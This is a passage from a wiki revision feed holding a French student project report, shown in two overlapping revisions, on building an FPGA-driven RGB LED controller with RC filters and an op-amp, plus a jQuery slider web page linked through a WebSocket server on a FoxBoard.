Concernant le programme, nous avons suivi le schéma que nous avions réalisé lors de la séance précédente tout en l'améliorant. Nous avons donc, comme prévu, utilisé un multiplexeur, contrôlé par un compteur modulo 3, afin de stocker les valeurs des 8 bits de commandes dans 3 bascules D, une pour chaque couleur. Nous avons ensuite utilisé un autre compteur pour chaque bascule ainsi qu'un comparateur. Chaque compteur va ainsi compter de 0 à 255 (pour les 256 couleurs) et le comparateur pourra nous permettre de savoir si la valeur est maximale ou non. En effet, si le compteur a une valeur supérieure ou égale à la valeur stockée en mémoire, le comparateur renverra 1, sinon il renverra 0. Ainsi nous aurons 3 sorties qui vont nous permettre de modifier le rapport cyclique des signaux sans pour autant modifier les fréquences qui restent constantes.&lt;br /&gt;
[[Fichier:ProgLed.png|1000px|thumb|center|Premier programme de contrôle]]&lt;br /&gt;
&lt;br /&gt;
== Partie informatique ==&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième séance, nous avons étudié le langage javascript afin de réaliser les curseurs de couleur sur la page WEB de l'application.&lt;br /&gt;
Nous avons utilisé la bibliothèque javascript : [https://jquery.com/ '''jQuery''']. Nous avons réadapté un exemple de 3 sliders contrôlant des paramètres de couleur RVB, selon nos besoins, en modifiant le sens et la taille. &lt;br /&gt;
&lt;br /&gt;
Ensuite, nous sommes passés à la liaison avec le WebSocket. On a alors récupéré la partie de code réalisée lors de la [[#Partie informatique|première séance]] correspondant à la partie réseau pour l'insérer au code des sliders de couleur. Les sliders permettent d'envoyer des caractères, il y a donc nécessité de convertir ces données en entier pour permettre à la LED de s'allumer et de changer de couleurs. Cette conversion se fait dans la code de la Websocket, ainsi elle est réalisée après réception du message. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:SchémaLiaison.png|700px|thumb|left| Schéma de liaison des fichiers]] [[Fichier:blanc.png|270px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons alors procédé au test qui s'est montré concluant. Vient alors la dernière partie qui est celle de l'ajout d'un slider correspondant au clignotement de la diode. Pour ce faire, nous avons utilisé la fonction 'setTimeout' qui permet de réaliser une fonction pendant un temps donné (ce sera notre durée de clignotement, donc le paramètres de notre 4ème slider). Après écriture de la fonction 'clignotement' et test de cette dernière, on a pu constater que la diode clignotait bien à une vitesse réglable sur la page web.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Curseurs1.png|450px|thumb|center|Page Web - Curseurs]] &lt;br /&gt;
[[Fichier:photoled.JPG|450px|thumb|center|Photo de la LED avec le code couleur ci-dessus]]&lt;br /&gt;
&lt;br /&gt;
= Troisième séance =&lt;br /&gt;
== Partie électronique ==&lt;br /&gt;
&lt;br /&gt;
=== Montage ===&lt;br /&gt;
Lors de cette séance, nous avons commencé par mesurer la fréquence de sortie de la NanoBoard grâce à un oscilloscope et nous obtenons une fréquence de 390 Hz avec une tension de 3,3V.&lt;br /&gt;
Grâce à cette valeur, nous avons ainsi pu simplifier notre montage précédent, la sortie de notre filtre n'étant pas de 3,3V mais de 2V, nous n'avions plus besoin d'utiliser un montage diviseur de tension pour brancher les LEDs rouge et verte. Cependant, il fallait encore vérifier le montage amplificateur de signal pour obtenir une valeur de tension de 4V puis relier la sortie de ce montage aux LEDs bleues. Nous devions donc faire un montage à amplification opérationnel non-inverseur afin que la tension de sortie soit toujours positive. Nous avons donc un schéma de ce type: &lt;br /&gt;
[[Fichier:AmpliOpnninverseur.png|300px|thumb|center|Schéma amplificateur opérationnel non-inverseur]]&lt;br /&gt;
&lt;br /&gt;
avec des valeurs des résistances qui nous permettent d'avoir un rapport de 2 en sortie de l'amplificateur opérationnel. La formule est donc :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;math&amp;gt;Vs= Ve * (1+ \frac{R1}{R2})&amp;lt;/math&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Ainsi il faut prendre 2 résistances R1 et R2 identiques. &lt;br /&gt;
Notre montage est donc simplifié.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ampliOPni.JPG|250px|thumb|center|Montage amplificateur]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite essayé d'utiliser un seul circuit pour contrôler les différentes LEDs, or nous avons vu que cela était impossible, il fallait donc 3 filtres RC et un amplificateur opérationnel non inverseur à ajouter pour les LEDs bleues. Nous nous sommes rendus compte que l'intensité parcourant les LEDs rouge et verte n'était pas assez élevée, nous avons donc diminué la valeur de la résistance du filtre et augmenté celle du condensateur. Nous avons choisi R = 100Ω et C = 100µF. Nous conservons donc une bande passante de 15 Hz.&lt;br /&gt;
[[Fichier:MontageLed complet.JPG|400px|thumb|center|Nouveau montage fonctionnel]]&lt;br /&gt;
&lt;br /&gt;
=== Programme ===&lt;br /&gt;
Nous avons aussi testé chaque partie de notre programme principal afin de déceler une possible erreur. Nous avons vu qu'il était impossible que le compteur modulo 3 que nous avions placé au début du montage soit directement lié au bit d'autorisation que nous avons placé en entrée. Nous avons donc utilisé une horloge que nous lions au bit d'entrée par une porte ET logique. Nous avons aussi abandonné l'idée de lier le reset du compteur à ses sorties.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PROG2.0.png|600px|thumb|center|Nouveau programme]]&lt;br /&gt;
&lt;br /&gt;
Nous avons ainsi visualisé que plus la commande envoyée était grande, plus le rapport cyclique était important. [[Fichier:rapportcyclique.JPG|250px|center|thumb| Rapport cyclique pour une donnée d'entrée de : 1011 1001 à une fréquence de 100kHz]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un autre programme nous permettant de faire s'allumer les 3 couleurs en envoyant 3 signaux en entrée, nous avons donc enlevé le multiplexeur. &lt;br /&gt;
[[Fichier:Testallumage.png|700px|thumb|center|Programme de test d'allumage des Leds]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ainsi, nous arrivions pour une fréquence fixée par la clock à 100kHz et des données de commandes différentes à faire s'allumer les 4 leds. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Blanc.png|260px]] [[Fichier:AllumageLED.jpg|250px]] [[Fichier:Blanc.png|30px]] [[Fichier:Ledallumee.jpg|330px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Suite à ce test réussi, nous avons décidé d'utiliser notre programme principal afin qu'il puisse gérer les 3 couleurs selon la donnée de commande envoyée.&lt;br /&gt;
Nous nous sommes aperçus que le compteur modulo 3 à l'entrée de notre programme posait un problème car il ne se réinitialisait pas au bon moment, la clock que nous utilisions ne nous permettait pas un fonctionnement optimal. Nous avons donc de nouveau branché le bit d'autorisation au compteur. De plus il y avait aussi le problème de la transmission de l'autorisation de lecture aux bascules à partir de l'autorisation d'entrée, il fallait en effet gérer le multiplexeur pour qu'il n'envoie pas l'information deux fois à la même bascule et il fallait &amp;quot;retarder&amp;quot; l'autorisation pour que l'on puisse lire ce qu'il y avait dans le registre après que l'information a été transmise.&lt;br /&gt;
Nous avons donc utilisé une porte ET logique et des inverseurs selon les commandes: il fallait autoriser la lecture du premier registre avant qu'il y ait une modification donc, quand les bits de sortie du compteur modulo 3 était: S0 S1: 0 0, nous pouvions lire ce qui était enregistré dans le premier registre. Il fallait donc un décalage de -1 entre les autorisations de lecture et la sélection par le multiplexeur.&lt;br /&gt;
[[Fichier:Programmefonctionnelfinal.png|1000px|thumb|center|Programme final de contrôle de la LED RVB]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi tester notre programme pour vérifier s'il allume bien chaque LED sans en éteindre une autre à chaque fois que l'on envoie une nouvelle donnée. Voici une vidéo d'un test réalisé : [[Fichier:Testfinal.mp4]]&lt;br /&gt;
&lt;br /&gt;
== Partie informatique ==&lt;br /&gt;
&lt;br /&gt;
Lors de cette dernière séance, furent réalisées la prise en main et l'installation de la FoxBoard. &lt;br /&gt;
&lt;br /&gt;
===Prise en main :=== &lt;br /&gt;
&lt;br /&gt;
Pour pouvoir importer notre programme et faire fonctionner notre Page Web dans la FoxBoard, il faut que cette dernière puisse communiquer avec notre ordinateur mais également avec le réseaux de l'école afin d'installer les librairies nécessaires à ce projet. On va pour cela changer la configuration Ethernet de la FoxBoard avec l'adresse IP de notre machine fixe. Nous pouvons donc maintenant nous connecter à la FoxBoard à partir de notre ordinateur fixe.  &lt;br /&gt;
&lt;br /&gt;
===Installation :=== &lt;br /&gt;
&lt;br /&gt;
Le problème ensuite fut d'installer une librairie Websocket stable pour la Foxboard, en allant chercher dans des versions antérieurs. Il faut donc dire à la Foxboard d'aller chercher les paquets sur une autre version. Après cette installation, il faut importer tous les fichiers nécessaires pour le programme de la Websocket, ensuite les recompiler à partir de la FoxBoard, écrire le lien du programme compilé dans le /etc/rc.local pour qu'il s’exécute au démarrage, et lui rajouter un &amp;quot;&amp;amp;&amp;quot; pour qu'il s'exécute en continu.&lt;br /&gt;
&lt;br /&gt;
On place ensuite dans le fichier /var/www/LED de la FoxBoard la page du site en HTML ainsi que les librairies 'javascript' et 'css' nécessaires à cette dernière. Grâce à cela nous pouvons accéder à notre page Web à partir de n'importe quel ordinateur relié au réseau sur son navigateur : [http://172.26.79.1/LED/essai.html Notre Page (nécessite que la FoxBoard soit connectée et branchée à une LED en sortie)]Pour faire fonctionner le programme, il faut que la FoxBoard soit bien reliée au réseau de l'école et lui faire faire un reboot au préalable.&lt;br /&gt;
&lt;br /&gt;
Voici le test final de la partie informatique : [[Fichier:IMG_1824.mp4]]&lt;br /&gt;
&lt;br /&gt;
Ainsi que les codes : [[Fichier:ProjetSC.zip]]&lt;br /&gt;
&lt;br /&gt;
= Séances supplémentaires =&lt;br /&gt;
&lt;br /&gt;
N'ayant pas pu réunir les deux parties lors d'une des séances précédentes, nous avons pris plusieurs heures pour essayer d'y parvenir.&lt;br /&gt;
Il fallait relier la FoxBard à la NanoBoard, pour cela nous devions utiliser une liaison série. Il fallait seulement utiliser la réception série.&lt;br /&gt;
Pour cela, nous devions modifier notre schéma logique. Il ne fallait plus utiliser d'entrée avec le &amp;quot;DIGITAL I/O&amp;quot; car les 8 bits de commande seront envoyés directement par la FoxBoard sur la NanoBoard et le bit d'autorisation de lecture sera aussi généré par la liaison série.&lt;br /&gt;
&lt;br /&gt;
Il fallait de plus relier la liaison série en réception et il fallait aussi utiliser l'horloge déjà existante pour la relier à l'entrée de la liaison série comme &amp;quot;clock fpga&amp;quot;. En effet, la liaison envoie des données bit par bit, il fallait donc utiliser l'horloge pour envoyer la commande entière. &lt;br /&gt;
&lt;br /&gt;
Nous avons ainsi simplement fait ces modifications mais nous avons été surpris lorsque nous avons vu des erreurs de compilation sur une horloge qui n'était apparemment pas dans notre schéma.&lt;br /&gt;
&lt;br /&gt;
Nous avons donc fait des tests sur la liaison série car notre schéma fonctionnait très bien avec l'entrée manuelle que nous avions remplacée par la liaison série. Nous avons visualisé l'entrée et la sortie de la liaison série et, bien que l'entrée change lorsque nous envoyons des informations différentes à partir du site Web, la sortie reste nulle, aussi bien le bit d'autorisation que les bits de commande. &lt;br /&gt;
&lt;br /&gt;
Il y a donc quelque chose qui ne fonctionne pas dans la sortie de la liaison série.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite pris quelques heures supplémentaires pour nous concentrer sur ce problème, nous avons pensé qu'il pouvait aussi venir de l'entrée de la liaison série car si la sortie était nulle, cela pouvait aussi être un problème avec ce qu'elle recevait.&lt;br /&gt;
&lt;br /&gt;
Nous avons donc eu l'idée d'inverser le signal d'entrée afin de ne pas le définir comme une horloge. Bien que l'erreur initiale ne soit plus là, il y en avait une autre qui nous disait que la sortie RX ne pouvait pas être seulement inversée lorsqu'elle arrivait à la liaison série.&lt;br /&gt;
&lt;br /&gt;
(A compléter ...)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Finliaisonsérie2.PNG|850px|thumb|center|Schéma fonctionnel comportant la réception série]]&lt;br /&gt;
&lt;br /&gt;
Nous avons ainsi effectué un test. [[Fichier:Ledfin.mp4]]&lt;br /&gt;
&lt;br /&gt;
= Conclusion =&lt;br /&gt;
Ce projet a été l'occasion pour nous de voir un peu tous les aspects de la formation SC (en informatique : réseau, développement web, programmation - en électronique : circuits, FPGA). Il a donc été très enrichissant. Il nous a aussi permis de mettre en application certaines notions que nous avions vu au semestre précédent aussi bien en logique, en électronique qu'en informatique.&lt;br /&gt;
&lt;br /&gt;
Il nous a aussi permis de nous tester : autant au niveau des compétences techniques que nous devons avoir mais aussi au niveau de l'autonomie de travail.&lt;br /&gt;
&lt;br /&gt;
La partie informatique fut plutôt variée avec la manipulation de différents langages de programmation tel que HTML5, CSS, ou encore le JavaScript, même s'il y avait encore du C, la véritable nouveauté était la manipulation du Websocket.&lt;br /&gt;
Malgré les difficultés de manipulation et d'apprentissage de ces langages, nous avons été en mesure de créer une application Web nous permettant de répondre aux besoins du projet.&lt;br /&gt;
&lt;br /&gt;
La partie électronique fut elle aussi variée et compliquée. Nous avons eu du mal à réellement cerner le problème lors de la première séance, ce qui nous a fait perdre du temps que nous avons rattrapé par la suite, afin de pouvoir terminer le projet et lier les deux parties grâce à plusieurs heures supplémentaires. Cette partie fut assez compliquée notamment à cause des différentes valeurs qu'il fallait utiliser. Il fallait en effet gérer les différentes LEDs parfois différemment. Nous devions aussi essayer de rendre le schéma le plus fonctionnel et simple possible afin d'améliorer la transmission des données.&lt;br /&gt;
&lt;br /&gt;
Ce projet nous a ainsi permis de nous familiariser avec différents logiciels et langages de programmation. Nous avons pu rassembler les deux parties qui étaient fonctionnelles individuellement et réussi à les rendre fonctionnelles ensemble. &lt;br /&gt;
&lt;br /&gt;
Bien que le temps initial consacré au projet était assez court (12 h), nous avons réussi à répondre au cahier des charges initial. Avec quelques heures supplémentaires, nous aurions peut-être pu ajouter quelques fonctionnalités à notre projet, tel que le choix du clignotement ou non, en plus de la fréquence à régler. Nous aurions aussi peut-être pu imaginer un mode automatique, c'est à dire un mode qui aurait pu parcourir toutes les couleurs puis modifier automatiquement le clignotement.&lt;br /&gt;
&lt;br /&gt;
Nous remercions bien sûr les professeurs pour leur aide, leurs conseils et leur encadrement.&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Gestion_de_LED_RVB,_2014/2015,_TD2&amp;diff=20102</id>
		<title>Gestion de LED RVB, 2014/2015, TD2</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Gestion_de_LED_RVB,_2014/2015,_TD2&amp;diff=20102"/>
				<updated>2015-04-16T13:32:29Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Installation : */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Ce projet SC a pour objectif de réaliser un circuit de contrôle d'une LED 256 couleurs ainsi qu'une interface WEB permettant de faire varier sa couleur. Il se décompose donc en deux parties : &lt;br /&gt;
&lt;br /&gt;
*partie informatique : il s'agit d'une interface Web composée de 4 sliders, 3 pour les couleurs et un pour la vitesse de clignotement. Les informations des sliders sont converties dans le Websocket puis stockées sur la FoxBoard.&lt;br /&gt;
&lt;br /&gt;
*partie électronique : il s'agit de générer trois signaux simulant les informations envoyées par le site Web; ces signaux sont convertis puis moyennés et permettent de gérer l'allumage de la LED RVB.&lt;br /&gt;
&lt;br /&gt;
= Première séance =&lt;br /&gt;
== Partie électronique ==&lt;br /&gt;
Au cours de cette séance, nous avons tout d'abord appréhendé le sujet. Puis nous avons réalisé le tutoriel pour la prise en main du logiciel Altium Designer et la Nanoboard.&lt;br /&gt;
Suite à cela, nous avons commencé à réaliser le schéma du montage.&lt;br /&gt;
[[Fichier:Filtre_RC.png|250px|thumb|left|Schéma Filtre RC]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous savions que nous devions utiliser un filtre passe bas, nous avons donc opté pour un filtre RC d'ordre 1.&lt;br /&gt;
Pour connaître les valeurs de la résistance et de la capacité qu'il faut utiliser, nous avons fait un simple calcul afin d'obtenir une bande passante d'environ 15 Hz. Ainsi nous avons choisi une résistance de 1KΩ et une capacité d'environ 10µF.&lt;br /&gt;
Ce filtre va donc nous permettre de ne prendre en compte que les fréquences basses et au vu des valeurs choisies, nous n'aurons qu'une faible variation de fréquence.&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ebauche_prg.png|300px|thumb|right|Ebauche programme de contrôle]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour le schéma de construction du programme, nous avons réfléchi sur la meilleure manière de pouvoir lire les valeurs stockées en mémoire. Nous avons ainsi utilisé un multiplexeur qui, selon un code émis, va envoyer ce signal d'entrée vers une de ses sorties. Pour générer ce code, nous nous sommes servi  d'un compteur modulo 3 car nous n'allons nous servir que de 3 des 4 sorties du multiplexeur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi essayé de traduire au mieux l'énoncé, nous avons donc défini le rapport cyclique comme étant la durée du temps &amp;quot;haut&amp;quot; divisée par la période T. Savoir cela va nous permettre de savoir ce que nous devrons modifier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi étudié la LED RVB et nous avons ainsi pu voir qu'elle était composée de 6 branches : 4 anodes et 2 cathodes, ce qui représente 2 LEDs bleues, une rouge et une verte. Nous avons aussi vu que le courant passant dans la LED ne devait pas excéder 10 mA, ce qui correspond à une tension d'entrée de la LED de 4V.&lt;br /&gt;
&lt;br /&gt;
== Partie informatique ==&lt;br /&gt;
&lt;br /&gt;
Nous avons appris à configurer le port série avec une application codée en langage C, qui a été modifiée afin d’envoyer 3 entiers au lieu de 8. Nous avons ensuite allumé une LED placée sur une carte Arduino, reliée au port série de l'ordinateur en modifiant directement les valeurs initialisées dans le programme. &lt;br /&gt;
Puis nous avons fait la liaison entre un serveur Websocket ainsi qu'une application répondant au Websocket, permettant l'écriture sur le port série afin de pouvoir modifier la couleur de la LED. &lt;br /&gt;
Un serveur Websocket permet de lire ou d'envoyer des données entre un navigateur et une application distante. Dans notre cas, il nous faut récupérer des entiers correspondant au code couleur Rouge Vert Bleu de la LED branchée à l'Arduino pour lui envoyer. Le serveur va donc tourner en continu en attendant qu'on lui envoie des caractères qu'il va convertir en entiers. La récupération des caractères est réalisée grâce à la fonction 'sscanf', la conversion de ces derniers en entiers et l'envoi vers l'application est, elle, réalisée par la fonction 'write'.&lt;br /&gt;
&lt;br /&gt;
Nous avons finalement mis en place une page Web afin de pouvoir y entrer 3 caractères tapés au clavier, correspondant au code couleur RVB. La WebSocket permettant la liaison entre la page web et l'application réalisant l'écriture sur le port série, nous avons donc rendu possible la modification des couleurs de la LED à partir de la page WEB.&lt;br /&gt;
&lt;br /&gt;
= Deuxième séance =&lt;br /&gt;
== Partie électronique ==&lt;br /&gt;
&lt;br /&gt;
=== Montage ===&lt;br /&gt;
Durant cette séance, nous avons décidé de perfectionner notre montage car nous avions oublié une chose importante lors de la séance précédente : les différentes LEDs n'ont pas toutes la même tension de seuil, en effet les LEDs bleues ont une tension de seuil de 4V environ, la LED rouge en a une de 2V, de même que la LED verte.&lt;br /&gt;
Il fallait donc modifier notre montage afin de ne pas prendre le risque de griller une LED.&lt;br /&gt;
Nous savions aussi que la tension délivrée par la Nanoboard est de 3,3V, il fallait donc amplifier cette valeur pour les LEDs bleues, et la diminuer pour les LEDs rouge et verte.&lt;br /&gt;
Pour cela nous avons décidé d'utiliser un diviseur de tension afin d'obtenir une tension maximale de 2V. Ainsi nous avons utilisé 2 résistances: une de 200Ω et une autre de 330Ω.&lt;br /&gt;
[[Fichier:Diviseur_de_tension.jpg|200px|thumb|center|Diviseur de tension]]&lt;br /&gt;
Nous avons ensuite réalisé un montage nous permettant d'amplifier la valeur de la tension de sortie de la Nanoboard afin de la faire atteindre 4V. Pour cela, nous avons utilisé un amplificateur opérationnel ainsi que deux résistances: une de 1kΩ et une autre de 1,2kΩ. Ainsi la tension maximale délivrée est de 4V.&lt;br /&gt;
[[Fichier:ampliOp.jpg|200px|thumb|center|AOP non-inverseur]] &lt;br /&gt;
Enfin, nous devions relier la sortie de la Nanoboard au filtre passe-bas déjà réalisé, puis il fallait relier la sortie de ce filtre aux différentes parties du montage. Chaque montage correspondait à une paire de LEDs: le diviseur de tension pour les LEDs rouge et verte et l'amplificateur opérationnel pour les LEDs bleues.&lt;br /&gt;
[[Fichier:montageled.jpg|200px|thumb|center|Montage final]]&lt;br /&gt;
&lt;br /&gt;
=== Programme ===&lt;br /&gt;
Concernant le programme, nous avons suivi le schéma que nous avions réalisé lors de la séance précédente tout en l'améliorant. Nous avons donc, comme prévu, utilisé un multiplexeur, contrôlé par un compteur modulo 3, afin de stocker les valeurs des 8 bits de commandes dans 3 bascules D, une pour chaque couleur. Nous avons ensuite utilisé un autre compteur pour chaque bascule ainsi qu'un comparateur. Chaque compteur va ainsi compter de 0 à 255 (pour les 256 couleurs) et le comparateur pourra nous permettre de savoir si la valeur est maximale ou non. En effet, si le compteur a une valeur supérieure ou égale à la valeur stockée en mémoire, le comparateur renverra 1, sinon il renverra 0. Ainsi nous aurons 3 sorties qui vont nous permettre de modifier le rapport cyclique des signaux sans pour autant modifier les fréquences qui restent constantes.&lt;br /&gt;
[[Fichier:ProgLed.png|1000px|thumb|center|Premier programme de contrôle]]&lt;br /&gt;
&lt;br /&gt;
== Partie informatique ==&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième séance, nous avons étudié le langage javascript afin de réaliser les curseurs de couleur sur la page WEB de l'application.&lt;br /&gt;
Nous avons utilisé la bibliothèque javascript : [https://jquery.com/ '''jQuery''']. Nous avons réadapté un exemple de 3 sliders contrôlant des paramètres de couleur RVB, selon nos besoins, en modifiant le sens et la taille. &lt;br /&gt;
&lt;br /&gt;
Ensuite, nous sommes passés à la liaison avec le WebSocket. On a alors récupéré la partie de code réalisée lors de la [[#Partie informatique|première séance]] correspondant à la partie réseau pour l'insérer au code des sliders de couleur. Les sliders permettent d'envoyer des caractères, il y a donc nécessité de convertir ces données en entier pour permettre à la LED de s'allumer et de changer de couleurs. Cette conversion se fait dans la code de la Websocket, ainsi elle est réalisée après réception du message. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:SchémaLiaison.png|700px|thumb|left| Schéma de liaison des fichiers]] [[Fichier:blanc.png|270px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons alors procédé au test qui s'est montré concluant. Vient alors la dernière partie qui est celle de l'ajout d'un slider correspondant au clignotement de la diode. Pour ce faire, nous avons utilisé la fonction 'setTimeout' qui permet de réaliser une fonction pendant un temps donné (ce sera notre durée de clignotement, donc le paramètres de notre 4ème slider). Après écriture de la fonction 'clignotement' et test de cette dernière, on a pu constater que la diode clignotait bien à une vitesse réglable sur la page web.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Curseurs1.png|450px|thumb|center|Page Web - Curseurs]] &lt;br /&gt;
[[Fichier:photoled.JPG|450px|thumb|center|Photo de la LED avec le code couleur ci-dessus]]&lt;br /&gt;
&lt;br /&gt;
= Troisième séance =&lt;br /&gt;
== Partie électronique ==&lt;br /&gt;
&lt;br /&gt;
=== Montage ===&lt;br /&gt;
Lors de cette séance, nous avons commencé par mesurer la fréquence de sortie de la NanoBoard grâce à un oscilloscope et nous obtenons une fréquence de 390 Hz avec une tension de 3,3V.&lt;br /&gt;
Grâce à cette valeur, nous avons ainsi pu simplifier notre montage précédent, la sortie de notre filtre n'étant pas de 3,3V mais de 2V, nous n'avions plus besoin d'utiliser un montage diviseur de tension pour brancher les LEDs rouge et verte. Cependant, il fallait encore vérifier le montage amplificateur de signal pour obtenir une valeur de tension de 4V puis relier la sortie de ce montage aux LEDs bleues. Nous devions donc faire un montage à amplification opérationnel non-inverseur afin que la tension de sortie soit toujours positive. Nous avons donc un schéma de ce type: &lt;br /&gt;
[[Fichier:AmpliOpnninverseur.png|300px|thumb|center|Schéma amplificateur opérationnel non-inverseur]]&lt;br /&gt;
&lt;br /&gt;
avec des valeurs des résistances qui nous permettent d'avoir un rapport de 2 en sortie de l'amplificateur opérationnel. La formule est donc :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;math&amp;gt;Vs= Ve * (1+ \frac{R1}{R2})&amp;lt;/math&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Ainsi il faut prendre 2 résistances R1 et R2 identiques. &lt;br /&gt;
Notre montage est donc simplifié.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ampliOPni.JPG|250px|thumb|center|Montage amplificateur]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite essayé d'utiliser un seul circuit pour contrôler les différentes LEDs, or nous avons vu que cela était impossible, il fallait donc 3 filtres RC et un amplificateur opérationnel non inverseur à ajouter pour les LEDs bleues. Nous nous sommes rendus compte que l'intensité parcourant les LEDs rouge et verte n'était pas assez élevée, nous avons donc diminué la valeur de la résistance du filtre et augmenté celle du condensateur. Nous avons choisi R = 100Ω et C = 100µF. Nous conservons donc une bande passante de 15 Hz.&lt;br /&gt;
[[Fichier:MontageLed complet.JPG|400px|thumb|center|Nouveau montage fonctionnel]]&lt;br /&gt;
&lt;br /&gt;
=== Programme ===&lt;br /&gt;
Nous avons aussi testé chaque partie de notre programme principal afin de déceler une possible erreur. Nous avons vu qu'il était impossible que le compteur modulo 3 que nous avions placé au début du montage soit directement lié au bit d'autorisation que nous avons placé en entrée. Nous avons donc utilisé une horloge que nous lions au bit d'entrée par une porte ET logique. Nous avons aussi abandonné l'idée de lier le reset du compteur à ses sorties.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PROG2.0.png|600px|thumb|center|Nouveau programme]]&lt;br /&gt;
&lt;br /&gt;
Nous avons ainsi visualisé que plus la commande envoyée était grande, plus le rapport cyclique était important. [[Fichier:rapportcyclique.JPG|250px|center|thumb| Rapport cyclique pour une donnée d'entrée de : 1011 1001 à une fréquence de 100kHz]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un autre programme nous permettant de faire s'allumer les 3 couleurs en envoyant 3 signaux en entrée, nous avons donc enlevé le multiplexeur. &lt;br /&gt;
[[Fichier:Testallumage.png|700px|thumb|center|Programme de test d'allumage des Leds]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ainsi, nous arrivions pour une fréquence fixée par la clock à 100kHz et des données de commandes différentes à faire s'allumer les 4 leds. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Blanc.png|260px]] [[Fichier:AllumageLED.jpg|250px]] [[Fichier:Blanc.png|30px]] [[Fichier:Ledallumee.jpg|330px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Suite à ce test réussi, nous avons décidé d'utiliser notre programme principal afin qu'il puisse gérer les 3 couleurs selon la donnée de commande envoyée.&lt;br /&gt;
Nous nous sommes aperçus que le compteur modulo 3 à l'entrée de notre programme posait un problème car il ne se réinitialisait pas au bon moment, la clock que nous utilisions ne nous permettait pas un fonctionnement optimal. Nous avons donc de nouveau branché le bit d'autorisation au compteur. De plus il y avait aussi le problème de la transmission de l'autorisation de lecture aux bascules à partir de l'autorisation d'entrée, il fallait en effet gérer le multiplexeur pour qu'il n'envoie pas l'information deux fois à la même bascule et il fallait &amp;quot;retarder&amp;quot; l'autorisation pour que l'on puisse lire ce qu'il y avait dans le registre après que l'information a été transmise.&lt;br /&gt;
Nous avons donc utilisé une porte ET logique et des inverseurs selon les commandes: il fallait autoriser la lecture du premier registre avant qu'il y ait une modification donc, quand les bits de sortie du compteur modulo 3 était: S0 S1: 0 0, nous pouvions lire ce qui était enregistré dans le premier registre. Il fallait donc un décalage de -1 entre les autorisations de lecture et la sélection par le multiplexeur.&lt;br /&gt;
[[Fichier:Programmefonctionnelfinal.png|1000px|thumb|center|Programme final de contrôle de la LED RVB]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi tester notre programme pour vérifier s'il allume bien chaque LED sans en éteindre une autre à chaque fois que l'on envoie une nouvelle donnée. Voici une vidéo d'un test réalisé : [[Fichier:Testfinal.mp4]]&lt;br /&gt;
&lt;br /&gt;
== Partie informatique ==&lt;br /&gt;
&lt;br /&gt;
Lors de cette dernière séance, furent réalisées la prise en main et l'installation de la FoxBoard. &lt;br /&gt;
&lt;br /&gt;
===Prise en main :=== &lt;br /&gt;
&lt;br /&gt;
Pour pouvoir importer notre programme et faire fonctionner notre Page Web dans la FoxBoard, il faut que cette dernière puisse communiquer avec notre ordinateur mais également avec le réseaux de l'école afin d'installer les librairies nécessaires à ce projet. On va pour cela changer la configuration Ethernet de la FoxBoard avec l'adresse IP de notre machine fixe. Nous pouvons donc maintenant nous connecter à la FoxBoard à partir de notre ordinateur fixe.  &lt;br /&gt;
&lt;br /&gt;
===Installation :=== &lt;br /&gt;
&lt;br /&gt;
Le problème ensuite fut d'installer une librairie Websocket stable pour la Foxboard, en allant chercher dans des versions antérieurs. Il faut donc dire à la Foxboard d'aller chercher les paquets sur une autre version. Après cette installation, il faut importer tous les fichiers nécessaires pour le programme de la Websocket, ensuite les recompiler à partir de la FoxBoard, écrire le lien du programme compilé dans le /etc/rc.local pour qu'il s’exécute au démarrage, et lui rajouter un &amp;quot;&amp;amp;&amp;quot; pour qu'il s'exécute en continu.&lt;br /&gt;
&lt;br /&gt;
